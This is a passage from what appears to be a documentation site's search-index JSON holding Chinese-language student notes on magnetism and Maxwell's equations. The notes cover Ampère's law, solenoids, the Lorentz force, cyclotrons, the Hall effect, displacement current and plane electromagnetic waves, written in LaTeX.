|dA_1 \\cos \\theta_1| = dA_1 |\\cos \\theta_1|, \\quad \\theta_1 &gt; \\frac{\\pi}{2}, \\quad \\cos \\theta_1 &lt; 0 \\] \\[ dA_2^* = |dA_2 \\cos \\theta_2| = dA_2 |\\cos \\theta_2|, \\quad \\theta_2 &lt; \\frac{\\pi}{2}, \\quad \\cos \\theta_2 &gt; 0 \\] \\[ \\therefore d\\Phi_{B_1} = -d\\Phi_{B_2} \\] \\[ d\\Phi_{B_1} + d\\Phi_{B_2} = 0 \\] \\[ \\oiint \\vec{B} \\cdot d\\vec{A} = 0 \\] <p>\u78c1\u573a\u4e2d\u7684\u56de\u8def\u5b9a\u5f8b</p> \\[     \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} =\\mu_0 \\sum_{in \\ loop} i \\] <p>\u4ee5\u53f3\u624b\u5b9a\u5219\u5224\u65ad\u6b63\u8d1f\uff0c\u5373\u6309\u7167\u79ef\u5206\u65b9\u5411\u4f7f\u7528\u53f3\u624b\u5b9a\u5219\uff0c\u5927\u62c7\u6307\u6307\u5411\u7684\u65b9\u5411\u5c31\u662f\u7535\u6d41\u7684\u6b63\u65b9\u5411,\u4e0d\u9700\u8981\u5bf9\u7a7f\u8fc7\u53bb\u7684\u7535\u6d41\u8fdb\u884c\u6295\u5f71\uff0c\u6709\u591a\u5c11\u7a7f\u8fc7\u5c31\u76f4\u63a5\u7b97\u591a\u5c11</p> <p>\u6709\u4e86\u56de\u8def\u5b9a\u5f8b\uff0c\u6c42\u78c1\u573a\u5c31\u65b9\u4fbf\u5f97\u591a\u4e86</p>"},{"location":"NOTE/Physics/magnetism/#_7","title":"\u5e26\u7535\u65e0\u7a77\u957f\u5706\u67f1\u5468\u56f4\u7684\u78c1\u573a","text":"<p>\u56e0\u4e3a\u78c1\u573a\u65b9\u5411\u4e0e\u79ef\u5206\u65b9\u5411\u5e73\u884c\uff1b\u534a\u5f84\u5982\u679c\u662f\u5927\u4e8e\u5706\u67f1\u7684\u534a\u5f84\uff0c\u5219</p> \\[     B=\\dfrac{\\mu_0 i }{2 \\pi r} \\] <p>\u5982\u679c\u79ef\u5206\u533a\u57df\u5728\u91cc\u9762\uff0c\u5219</p> \\[     \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 I \\dfrac{r^2}{R^2} \\enspace  B 2 \\pi r = \\mu_0 i \\dfrac{r^2}{R^2} \\] \\[     B=\\dfrac{\\mu_0 i }{2 \\pi R} \\cdot \\dfrac{r}{R} \\] <p>Key-point</p> <p>\u8fd9\u8bf4\u660e\u78c1\u573a\u5728R\u5904\u8fbe\u5230\u6700\u5927</p> <p> </p>"},{"location":"NOTE/Physics/magnetism/#_8","title":"\u65e0\u7a77\u5927\u7684\u677f","text":"<p>\u56e0\u4e3a\u6c34\u5e73\u65b9\u5411\u4e0a\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u78c1\u573a\u4e3a\u96f6\uff1b</p> <p>\u5728\u7535\u8def\u5206\u5e03\u7684\u4e24\u4fa7\uff0c\u78c1\u573a\u65b9\u5411\u76f8\u53cd\uff0c\u5927\u5c0f\u76f8\u7b49\uff1b</p> <p>\u8bbe\u6b63\u65b9\u5f62\u7684\u8fb9\u957f\u4e3a\\(w\\)\uff0c\u5219</p> \\[ \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = Bw + 0 + Bw + 0 = 2Bw = \\mu_0 nwi \\] \\[     B=\\frac{1}{2} \\mu_0 n i \\] <p>\u901a\u7535\u65e0\u7a77\u957f\u87ba\u7ebf\u7ba1?\u4e3a\u4ec0\u4e48\u4e0d\u662f\u4e24\u5757\u677f</p> <p> </p> <p>\u5982\u679c\u628a\u87ba\u7ebf\u7ba1\u4e2d\u95f4\u5207\u4e00\u5200\uff0c\u60c5\u51b5\u5c31\u4e0e\u4e24\u5757\u677f\u5f88\u76f8\u4f3c\u4e86\uff0c\u5bf9\u4e8e\u4e24\u4fa7\uff0c\u7531\u4e8e\u65b9\u5411\u4e0d\u540c\u53ef\u4ee5\u6d88\u53bb\uff1b \u5728\u4e2d\u95f4\uff0c\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u78c1\u573a\u4e3a\u4e00\u5757\u677f\u7684\u4e24\u500d\uff0c\u6240\u4ee5\u78c1\u573a\u4e3a</p> \\[     B=\\mu_0 n i \\] <p>\u8fd9\u6b63\u662f\u6211\u4eec\u4e4b\u524d\u63a8\u5bfc\u7684\u7ed3\u679c</p>"},{"location":"NOTE/Physics/magnetism/#_9","title":"\u87ba\u7ed5\u73af","text":"\\[    \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = B \\cdot 2\\pi r = \\mu_0 Ni \\] \\[     B=\\frac{1}{2} \\mu_0 n i \\enspace n = \\frac{N}{2\\pi r} \\]"},{"location":"NOTE/Physics/magnetism/#_10","title":"\u7535\u6d41\u5728\u78c1\u573a\u4e2d\u53d7\u5230\u7684\u529b\u4e0e\u529b\u77e9","text":"\\[     d\\boldsymbol{F} = i d\\boldsymbol{l} \\times \\boldsymbol{B} \\] <p>\u7528\u53f3\u624b\u5b9a\u5219\u6765\u5224\u65ad\u65b9\u5411</p> <p>Warning</p> <p>\u5de6\u624b\u5b9a\u5219\uff0cout\uff01\u5168\u90e8\u4f7f\u7528\u53f3\u624b\u5b9a\u5219\uff0c\u5982\u679c\u662f\u7535\u5b50\u8fd0\u52a8\uff0c\u4e5f\u53ef\u4ee5\u5f53\u4f5c\u5fae\u5c0f\u7535\u6d41\u6765\u5904\u7406\uff0c\u5b89\u57f9\u529b\u548c\u6d1b\u4f26\u5179\u529b\u672c\u8d28\u4e0a\u662f\u4e00\u6837\u7684</p> <p>Example</p> <p> </p> <p>\u5e73\u7684\u90e8\u5206\u5f88\u7b80\u5355\uff0c\u5f2f\u5f2f\u7684\u90e8\u5206\u4f7f\u7528\u5fae\u5206\uff0c\u53d1\u73b0\u6c34\u5e73\u90e8\u5206\u7684\u529b\u7531\u4e8e\u5bf9\u79f0\u6027\u4e3a\u96f6\uff0c\u53ea\u6709\u7ad6\u76f4\u90e8\u5206\u7684\u529b</p> \\[     F_2 = F_\\perp = \\int_0^{\\pi} iBR d\\theta \\sin \\theta = iBR \\int_0^{\\pi} \\sin \\theta d\\theta = 2iBR \\] <p>Note</p> Info <p>\u5b89\u57f9\u7684\u5b9a\u4e49\uff1b\u4e24\u4e2a\u76f8\u8ddd\\(1m\\)\u7684\u76f4\u5bfc\u7ebf\uff0c\u901a\u8fc7\u7684\u7535\u6d41\uff0c\u4ea7\u751f\u7684\u529b\u4e3a\\(2 \\times 10^{-7} N\\)\uff1b\u8fd9\u6837\u5927\u5c0f\u7684\u7535\u6d41\u79f0\u4e3a\\(1A\\)</p>"},{"location":"NOTE/Physics/magnetism/#_11","title":"\u77e9\u5f62\u7ebf\u5708","text":"<p>Definition</p> <p>\u78c1\u5076\u6781\u77e9\u7684\u65b9\u5411\u4e3a\u53f3\u624b\u5b9a\u5219\u7684\u65b9\u5411</p> \\[     \\boldsymbol{\\mu} = i \\pi R^2 \\boldsymbol{n} \\] <p>\u5bf9\u4e8e\u4e00\u4e2a\u77e9\u5f62\u7ebf\u5708\uff0c\u5982\u679c\u5b83\u80fd\u7ed5\u7740\u4e00\u4e2a\u8f74\u65cb\u8f6c\uff0c\u5982\u56fe</p> \\[ \\tau = F_{AB} \\frac{b}{2} \\sin \\theta + F_{CD} \\frac{b}{2} \\sin \\theta \\] \\[ = i a B \\frac{b}{2} \\sin \\theta + i a B \\frac{b}{2} \\sin \\theta \\] \\[ = i B A \\sin \\theta \\] \\[ \\vec{\\tau} = i A (\\vec{n} \\times \\vec{B}) = \\vec{\\mu} \\times \\vec{B} \\]"},{"location":"NOTE/Physics/magnetism/#_12","title":"\u4efb\u610f\u5f62\u72b6\u7ebf\u5708","text":"<p>\u73b0\u5728\u5c06\u7ed3\u8bba\u63a8\u5e7f\u5230\u4efb\u610f\u5f62\u72b6\u7684\u7ebf\u5708\uff0c\u5982\u56fe\uff0c\u78c1\u5076\u6781\u77e9\u4e0e\u78c1\u573a\u5782\u76f4</p> <p>\u5c06\u7ebf\u5708\u5206\u5272\u4e3a\u4e00\u4e2a\u4e2a\u5c0f\u77e9\u5f62\uff0c\u6bcf\u4e2a\u5c0f\u77e9\u5f62\u5185\u90e8\u7535\u6d41\u4f9d\u6b21\u76f8\u6d88\uff0c\u6700\u540e\u5408\u7535\u6d41\u4e3a\u539f\u7535\u6d41</p> \\[ dF_1 = i ds_1 B \\sin \\theta_1 \\] \\[ dF_2 = i ds_2 B \\sin \\theta_2 \\] \\[ ds_1 \\sin \\theta_1 = ds_2 \\sin \\theta_2 = dh \\] \\[ dF_1 = dF_2 = i B dh \\] \\[ d\\tau = dF_1 \\cdot x_1 + dF_2 \\cdot x_2 \\] \\[ = iB dh (x_1 + x_2) \\] \\[ = iB dA \\] \\[ \\tau = \\int d\\tau = \\int iB dA = iBA  \\] <p>Key-point</p> <p>\u8fd9\u79cd\u529b\u77e9\u4f7f\u5f97\u78c1\u5076\u6781\u77e9\u6709\u8f6c\u5230\u78c1\u573a\u65b9\u5411\u7684\u8d8b\u52bf</p>"},{"location":"NOTE/Physics/magnetism/#_13","title":"\u70b9\u7535\u8377\u5728\u78c1\u573a\u4e2d\u8fd0\u52a8","text":"<p>Property</p> <ul> <li>\u6d1b\u4f26\u5179\u529b\u4e0d\u505a\u529f</li> <li>\u6d1b\u4f26\u5179\u529b\u53ea\u6539\u53d8\u901f\u5ea6\u65b9\u5411\uff0c\u4e0d\u6539\u53d8\u901f\u5ea6\u5927\u5c0f</li> <li>\u6d1b\u4f26\u5179\u529b\u65b9\u5411\u7528\u53f3\u624b\u5b9a\u5219\u5224\u65ad</li> <li>\u5bf9\u4e8e\u901f\u5ea6\u4e3a\\(v\\)\u7684\u70b9\u7535\u8377\uff0c\u6d1b\u4f26\u5179\u529b\u4e3a\\(q \\boldsymbol{v_{\\perp}}\\boldsymbol{B}\\)</li> <li>\u5982\u679c\u5728\u5300\u5f3a\u78c1\u573a\u4e2d\uff0c\u505a\u5706\u5468\u8fd0\u52a8\uff0c\u5219\\(q \\boldsymbol{v_{\\perp}}\\boldsymbol{B} = \\dfrac{mv^2}{r} \\rightarrow r = \\dfrac{mv}{qB}\\)</li> <li>\u901f\u5ea6\u9009\u62e9\u5668:\\(\\boldsymbol{E} \\perp \\boldsymbol{B}\\)\uff0c\u5219\\(qE = qvB \\rightarrow v = \\dfrac{E}{B}\\),\u901f\u5ea6\u9009\u62e9\u5668\u63a5\u7740\u4e00\u4e2a\u78c1\u573a\uff0c\u6839\u636e\u534a\u5f84\u4e0d\u540c\uff0c\u53ef\u4ee5\u505a\u5230\u5206\u79bb\u540c\u4f4d\u7d20</li> <li>\u56de\u65cb\u52a0\u901f\u5668: \u7535\u573a\u52a0\u901f\uff0c\u78c1\u573a\u504f\u8f6c\uff0c\u4ea4\u6d41\u7535\u7684\u5468\u671f\u4e0e\u7c92\u5b50\u505a\u5706\u5468\u8fd0\u52a8\u7684\u5468\u671f\u76f8\u540c\uff1b\\(v=\\dfrac{qBr}{m}\\)\uff0c\\(T=\\dfrac{2\\pi m}{qB}\\),\\(E_k = \\dfrac{1}{2}mv^2 = \\dfrac{q^2 B^2 r^2}{2m}\\)</li> </ul> Warning <p>\u5f53\u56de\u65cb\u52a0\u901f\u5668\u4e2d\u7684\u7c92\u5b50\u901f\u5ea6\u63a5\u8fd1\u5149\u901f\u65f6\uff0c\u7c92\u5b50\u8d28\u91cf\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u5bfc\u81f4\u7c92\u5b50\u505a\u5706\u5468\u8fd0\u52a8\u7684\u5468\u671f\u53d1\u751f\u53d8\u5316\uff0c\u4ece\u800c\u5bfc\u81f4\u56fa\u5b9a\u7684\u4ea4\u6d41\u7535\u9891\u7387\u65e0\u6cd5\u4e00\u76f4\u52a0\u901f\uff1b\u7c92\u5b50\u65e0\u6cd5\u88ab\u52a0\u901f\u5230\u66f4\u9ad8\u7684\u80fd\u91cf\u3002\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u78c1\u573a\u5927\u5c0f\uff1a</p> \\[     m=\\frac{m_0}{\\sqrt{1-\\frac{v^2}{c^2}}} \\] \\[     T=\\frac{2\\pi m}{qB}=\\frac{2\\pi m_0}{qB\\sqrt{1-\\frac{v^2}{c^2}}} \\] <p>\u4fee\u6539B\uff1b  </p> \\[     B \\sqrt{1-\\frac{v^2}{c^2}} = const \\] <ul> <li>\u540c\u6b65\u52a0\u901f\u5668</li> <li>\u970d\u5c14\u6548\u5e94\uff1a\u5e26\u7535\u7c92\u5b50\u5728\u78c1\u573a\u4e2d\u8fd0\u52a8\uff0c\u5728\u5782\u76f4\u4e8e\u78c1\u573a\u65b9\u5411\u7684\u5bfc\u4f53\u4e2d\uff0c\u7531\u4e8e\u6d1b\u4f26\u5179\u529b\uff0c\u7535\u8377\u4f1a\u5411\u4e00\u4fa7\u504f\u8f6c\uff0c\u4ece\u800c\u5728\u5bfc\u4f53\u4e24\u4fa7\u5f62\u6210\u7535\u52bf\u5dee\uff0c\u5e73\u8861\u65f6\uff0c\u6d1b\u4f26\u5179\u529b\u7b49\u4e8e\u7535\u573a\u529b\uff0c\\(qE = qvB \\rightarrow E = vB\\)\uff0c\\(U = E \\cdot d = vBd\\)\uff0c\\(I = j \\cdot d \\cdot w = nqv \\cdot d \\cdot w\\)\uff0c\\(j = nqv\\)\uff0c\\(U = \\dfrac{I B d}{nqwd}\\)\uff0c\\(R_H = \\dfrac{U}{I} = \\dfrac{B}{nqw}\\)\uff0c\\(R_H\\)\u79f0\u4e3a\u970d\u5c14\u7cfb\u6570\uff0c\\(n\\)\u4e3a\u8f7d\u6d41\u5b50\u6d53\u5ea6\uff0c\\(q\\)\u4e3a\u8f7d\u6d41\u5b50\u7535\u91cf\uff0c\\(w\\)\u4e3a\u5bfc\u4f53\u5bbd\u5ea6\uff0c\\(d\\)\u4e3a\u5bfc\u4f53\u539a\u5ea6</li> </ul>"},{"location":"NOTE/Physics/maxwell/","title":"Maxwell Equation","text":"<p> \u7ea6 3735 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 13 \u5206\u949f</p> <p>\u6539\u53d8\u4eba\u7c7b\u6587\u660e\u8fdb\u7a0b\u7684\u4f1f\u5927\u65b9\u7a0b(\u6211\u4e86\u4e2a\u8c46\uff0c\u6572LaTeX\u771f\u7d2f\u554a)</p>"},{"location":"NOTE/Physics/maxwell/#_1","title":"\u5bf9\u79f0\u6027\u539f\u5219","text":"<p>\u6211\u4eec\u9996\u5148\u56de\u5fc6\u5b66\u8fc7\u7684\u65b9\u7a0b</p> <p>\u5728\u771f\u7a7a\u4e2d\uff0c\u6211\u4eec\u6709</p> <ul> <li>\u7535\u573a\u9ad8\u65af\u5b9a\u7406</li> </ul> \\[     \\oiint \\boldsymbol{E} \\cdot \\boldsymbol{dS} = \\frac{Q}{\\varepsilon_0} \\] <ul> <li>\u78c1\u573a\u9ad8\u65af\u5b9a\u7406</li> </ul> \\[     \\oiint \\boldsymbol{B} \\cdot \\boldsymbol{dS} = 0 \\] <ul> <li>\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b</li> </ul> \\[     \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = -\\frac{d\\Phi_B}{dt} = -\\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot \\boldsymbol{dS} \\] <ul> <li>\u5b89\u57f9\u73af\u8def\u5b9a\u7406</li> </ul> \\[     \\oint \\boldsymbol{B} \\cdot \\boldsymbol{dl} = \\mu_0 I_{enc} \\] <p>\u5728\u7535\u4ecb\u8d28\u6216\u8005\u78c1\u82af\u6750\u6599\u4e2d\uff0c\u6211\u4eec\u6709</p> <ul> <li>\u7535\u573a\u9ad8\u65af\u5b9a\u7406\u63a8\u5e7f</li> </ul> \\[     \\oiint \\boldsymbol{D} \\cdot \\boldsymbol{dS} = Q_{free} \\] <ul> <li>\u78c1\u573a\u73af\u8def\u5b9a\u7406\u63a8\u5e7f</li> </ul> \\[     \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = I_{free} = \\oiint \\boldsymbol{J} \\cdot \\boldsymbol{dS} \\] <p>\u6211\u4eec\u8fd8\u6709\u6b27\u59c6\u5b9a\u5f8b\u5fae\u5206\u5f62\u5f0f</p> \\[     \\boldsymbol{J} = \\sigma \\boldsymbol{E} \\] <p>\u5bf9\u79f0\u6027\u539f\u5219\uff1a\u7269\u7406\u5b66\u5bb6\u4eec\u5e0c\u671b\u65b9\u7a0b\u662f\u5bf9\u79f0\u7f8e\u89c2\u7684\uff0c\u89c2\u5bdf\u7535\u573a\u548c\u78c1\u573a\u7684\u9ad8\u65af\u5b9a\u5f8b\uff0c\u4e8e\u662f\u81ea\u7136\u4e0d\u60f3\u770b\u5230\u78c1\u573a\u9ad8\u65af\u5b9a\u5f8b\u7684\u7b49\u53f7\u53f3\u8fb9\u7a7a\u7a7a\u5982\u4e5f\uff0c\u4e5f\u5e0c\u671b\u7535\u573a\u73af\u8def\u5b9a\u5f8b\u51fa\u73b0\u7535\u6d41\u7684\u5f62\u5f0f\uff0c\u6240\u4ee5\u5f15\u5165\u4e86\u78c1\u8377\\(q_m\\)\u5bf9\u65b9\u7a0b\u8fdb\u884c\u4fee\u6b63</p> \\[     \\begin{cases}     \\oiint \\boldsymbol{B} \\cdot \\boldsymbol{dS} = q_m \\\\     \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = \\dfrac{dq_m}{dt} -\\oiint \\dfrac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot \\boldsymbol{dS}     \\end{cases}  \\]"},{"location":"NOTE/Physics/maxwell/#stokez","title":"Stokez\u516c\u5f0f\u4e0e\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b","text":"<p>\u6211\u5ba3\u4f48\u73fe\u5728\u6211\u4e5f\u662f\u9ea5\u514b\u65af\u97cb\u4e86</p> <p>\u4f7f\u7528\u7535\u573a\u7684\u73af\u8def\u5b9a\u7406\uff0c\u518d\u7528\u65af\u6258\u514b\u65af\u516c\u5f0f\u53d8\u6210\u9762\u79ef\u5206</p> \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = i_0 = \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} \\] \\[ -\\iint_{S_1} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = i_0 \\] \\[ \\iint_{S} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = \\iint_{S_1} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} + \\iint_{S_2} \\boldsymbol{J}_0 \\cdot d\\boldsymbol{A} = 0 \\] <p>\u8fd9\u542f\u53d1\u6211\u4eec\uff0c\u4ee5\u4e00\u4e2a\u5c01\u95ed\u7684\u66f2\u9762\u5305\u88f9\u7740\u7535\u6d41\uff0c\u5176\u9762\u79ef\u5206\u4e3a0\uff1b</p> <p>\u4f46\u662f\u8fd9\u6837\u7684\u7ed3\u8bba\u5728\u7ed9\u7535\u5bb9\u5668\u5145\u7535\u65f6\u51fa\u73b0\u4e86\u8be1\u5f02\u7684\u60c5\u51b5</p> <p>\u5bf9\u4e8e(1,2)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e3a0\uff0c(1,4)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e3a0\uff0c\u4f46\u662f(1,3)\u66f2\u9762\uff0c\u9762\u79ef\u5206\u4e0d\u4e3a0\uff0c\u6b64\u65f6\u7535\u6d41\u4ece1\u9762\u8fdb\u5165\uff0c\u4f46\u662f\u6ca1\u6709\u4ece3\u9762\u51fa\u53bb\uff1b\u8fd9\u592a\u4e0d\u81ea\u7136\u4e86</p> <p>\u6240\u4ee5\u6211\u4eec\u81ea\u7136\u5f15\u5165\u4f4d\u79fb\u7535\u6d41\\(I_D\\)</p> \\[    \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = I_{free} + I_D \\] <p>\u4f46\u662f\\(I_D\\)\u662f\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u53ef\u4ee5\u4ece\u9762\u79ef\u5206\u7684\u5f62\u5f0f\u51fa\u53d1</p> <p>\u8003\u8651(1,3)\u66f2\u9762\\(S\\)\uff0c\u53ea\u8fdb\u4e0d\u51fa</p> \\[     \\oiint_S \\boldsymbol{J} \\cdot \\boldsymbol{dS} = -\\dfrac{dq}{dt} \\] \\[     \\oiint_S \\boldsymbol{D} \\cdot \\boldsymbol{dS} = q \\] \\[     \\oiint_s \\dfrac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot \\boldsymbol{dS} = \\dfrac{dq}{dt} \\] <p>\u6240\u4ee5\u5728(1,3)\u66f2\u9762\u4e0a\uff0c\u6211\u4eec\u6709</p> \\[     \\oiint_S \\left( \\boldsymbol{J} + \\dfrac{\\partial \\boldsymbol{D}}{\\partial t} \\right) \\cdot \\boldsymbol{dS} = 0 \\] <p>\u6b64\u65f6\u57281\u66f2\u9762\u8fdb\u7684\u7b49\u4e8e3\u66f2\u9762\u51fa\u7684</p> \\[     - \\oiint_{S_1} \\boldsymbol{J} \\cdot \\boldsymbol{dS} = \\oiint_{S_3} \\boldsymbol{J} \\cdot \\boldsymbol{dS}  \\] <p>\u4f4d\u79fb\u7535\u6d41</p> <p>1\u66f2\u9762\u6ca1\u6709\u4f4d\u79fb\u7535\u6d41\uff0c3\u66f2\u9762\u6ca1\u6709\u81ea\u7531\u7535\u6d41\uff0c\u4f4d\u79fb\u7535\u6d41\\(I_D=I_0\\)</p> <p>\u6700\u540e\uff0c\u66f4\u52a0\u5b8c\u6574\u7684\u5b9a\u4e49\u4e3a</p> \\[ \\Phi_D = \\iint \\boldsymbol{D} \\cdot d\\boldsymbol{A} \\quad \\text{electric displacement flux} \\] \\[ i_D = \\frac{d\\Phi_D}{dt} = \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A} \\quad \\text{displacement current} \\] \\[ \\boldsymbol{j}_D = \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\quad \\text{displacement current density} \\] <p>\u5206\u522b\u662f\u7535\u4f4d\u79fb\u901a\u91cf\uff0c\u4f4d\u79fb\u7535\u6d41\uff0c\u4f4d\u79fb\u7535\u6d41\u5bc6\u5ea6</p> <p>i_D=i_0</p> \\[ E = \\frac{\\sigma_e}{\\epsilon_0} = \\frac{q}{\\epsilon_0 A} \\quad \\therefore \\quad q = \\epsilon_0 A E = \\epsilon_0 \\Phi_E = AD \\] \\[ \\therefore \\quad i_0 = \\frac{dq}{dt} = \\epsilon_0 \\frac{d\\Phi_E}{dt} = \\frac{d\\Phi_D}{dt} = i_D, \\quad \\boldsymbol{D} = \\epsilon_0 \\boldsymbol{E} \\] <p>\u7535\u5bb9\u5145\u6ee1\u7535\u4e4b\u540e\\(i_D=i_0=0\\);</p> <p>\u8fd9\u4e2a\u7535\u6d41\u4e5f\u4f1a\u4ea7\u751f\u78c1\u573a</p> <p> </p> <p></p> \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = \\int \\int \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A}  \\enspace  (I_D) \\] \\[ \\oint \\frac{\\boldsymbol{B}}{\\mu_0} \\cdot d\\boldsymbol{l} = \\epsilon_0 \\int \\int \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\cdot dA \\] \\[ \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 \\epsilon_0 \\int \\int \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\cdot dA \\] <p>\u53d8\u5316\u7684\u7535\u573a\u4ea7\u751f\u78c1\u573a\uff0c\u53d8\u5316\u7684\u78c1\u573a\u4ea7\u751f\u7535\u573a\uff0c\u8fd9\u5c31\u662f\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b</p> <p>\u6700\u540e\uff0c\u6211\u4eec\u5f97\u5230</p> \\[     \\oint \\boldsymbol{H} \\cdot \\boldsymbol{dl} = \\iint \\boldsymbol{J} \\cdot \\boldsymbol{dS} + \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot \\boldsymbol{dS} \\] <p>\u4ee5\u53ca</p> \\[     \\nabla \\times \\boldsymbol{H} = \\boldsymbol{J} + \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\]"},{"location":"NOTE/Physics/maxwell/#_2","title":"\u7535\u78c1\u6ce2","text":"<p>\u6211\u4eec\u53ef\u4ee5\u4ece\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\u63a8\u5bfc\u51fa\u7535\u78c1\u6ce2\u7684\u6027\u8d28</p> <p>\u79ef\u5206\u5f62\u5f0f\uff1a</p> \\[ \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\frac{q_0}{\\epsilon_0} \\] \\[ \\oiint \\boldsymbol{B} \\cdot d\\boldsymbol{A} = 0 \\] \\[ \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = -\\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot d\\boldsymbol{A} \\] \\[ \\oint \\boldsymbol{H} \\cdot d\\boldsymbol{l} = i_0 + \\iint \\frac{\\partial \\boldsymbol{D}}{\\partial t} \\cdot d\\boldsymbol{A} \\] <p>\u5fae\u5206\u5f62\u5f0f\uff08\u81ea\u7531\u7a7a\u95f4\uff1a\\(\\rho_0 = 0, \\boldsymbol{J}_0 = 0\\)\uff09\uff1a</p> \\[ \\nabla \\cdot \\boldsymbol{E} = 0 \\] \\[ \\nabla \\times \\boldsymbol{E} = -\\frac{\\partial \\boldsymbol{B}}{\\partial t} = - \\kappa_m \\mu_0 \\frac{\\partial \\boldsymbol{H}}{\\partial t} \\] \\[ \\nabla \\cdot \\boldsymbol{H} = 0 \\] \\[ \\nabla \\times \\boldsymbol{H} = \\kappa_e \\epsilon_0 \\frac{\\partial \\boldsymbol{E}}{\\partial t} \\] <p>\u5206\u91cf\u5f62\u5f0f\uff1a</p> \\[ \\frac{\\partial E_x}{\\partial x} + \\frac{\\partial E_y}{\\partial y} + \\frac{\\partial E_z}{\\partial z} = 0 \\] \\[ \\begin{vmatrix} \\hat{i} &amp; \\hat{j} &amp; \\hat{k} \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ E_x &amp; E_y &amp; E_z \\end{vmatrix} = -\\kappa_m \\mu_0 \\left( \\frac{\\partial H_x}{\\partial t} \\hat{i} + \\frac{\\partial H_y}{\\partial t} \\hat{j} + \\frac{\\partial H_z}{\\partial t} \\hat{k} \\right) \\] \\[ \\frac{\\partial H_x}{\\partial x} + \\frac{\\partial H_y}{\\partial y} + \\frac{\\partial H_z}{\\partial z} = 0 \\] \\[ \\begin{vmatrix} \\hat{i} &amp; \\hat{j} &amp; \\hat{k} \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ H_x &amp; H_y &amp; H_z \\end{vmatrix} = \\kappa_e \\epsilon_0 \\left( \\frac{\\partial E_x}{\\partial t} \\hat{i} + \\frac{\\partial E_y}{\\partial t} \\hat{j} + \\frac{\\partial E_z}{\\partial t} \\hat{k} \\right) \\]"},{"location":"NOTE/Physics/maxwell/#_3","title":"\u5e73\u9762\u6ce2","text":"<p>\u9996\u5148\uff0c\u5047\u8bbe\u5355\u4e00\u6ce2\u6e90\uff0c\u5728\u5f88\u8fdc\u7684\u81ea\u7531\u7a7a\u95f4\u4e2d\uff0c\u5728\u7403\u9762\u4e0a\u53d6\u4e00\u5f27\u9762\uff0c\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\u5e73\u9762\u6ce2\uff1b\u4ee5\u5176\u4f20\u64ad\u65b9\u5411\u4e3a\\(z\\)\u8f74\uff0c\u7535\u573a\u548c\u78c1\u573a\u5206\u522b\u4e3a\\(x\\)\u548c\\(y\\)\u8f74</p> <p>\u5c06\u4e0a\u9762\u7684\u5f0f\u5b50\u4f9d\u6b21\u5c55\u5f00\uff0c\u5f97\u5230\u4ee5\u4e0b8\u4e2a\u65b9\u7a0b</p> \\[\\begin{align*}     \\frac{\\partial E_x}{\\partial x} + \\frac{\\partial E_y}{\\partial y} + \\frac{\\partial E_z}{\\partial z} &amp;= 0 \\tag{1} \\\\     \\frac{\\partial E_z}{\\partial y} - \\frac{\\partial E_y}{\\partial z} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_x}{\\partial t} \\tag{2-1} \\\\     \\frac{\\partial E_x}{\\partial z} - \\frac{\\partial E_z}{\\partial x} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_y}{\\partial t} \\tag{2-2} \\\\     \\frac{\\partial E_y}{\\partial x} - \\frac{\\partial E_x}{\\partial y} &amp;= -\\kappa_m \\mu_0 \\frac{\\partial H_z}{\\partial t} \\tag{2-3} \\\\     \\frac{\\partial H_x}{\\partial x} + \\frac{\\partial H_y}{\\partial y} + \\frac{\\partial H_z}{\\partial z} &amp;= 0 \\tag{3} \\\\     \\frac{\\partial H_z}{\\partial y} - \\frac{\\partial H_y}{\\partial z} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial E_x}{\\partial t} \\tag{4-1} \\\\     \\frac{\\partial H_x}{\\partial z} - \\frac{\\partial H_z}{\\partial x} &amp;= \\kappa_e \\epsilon_0 \\frac{\\partial 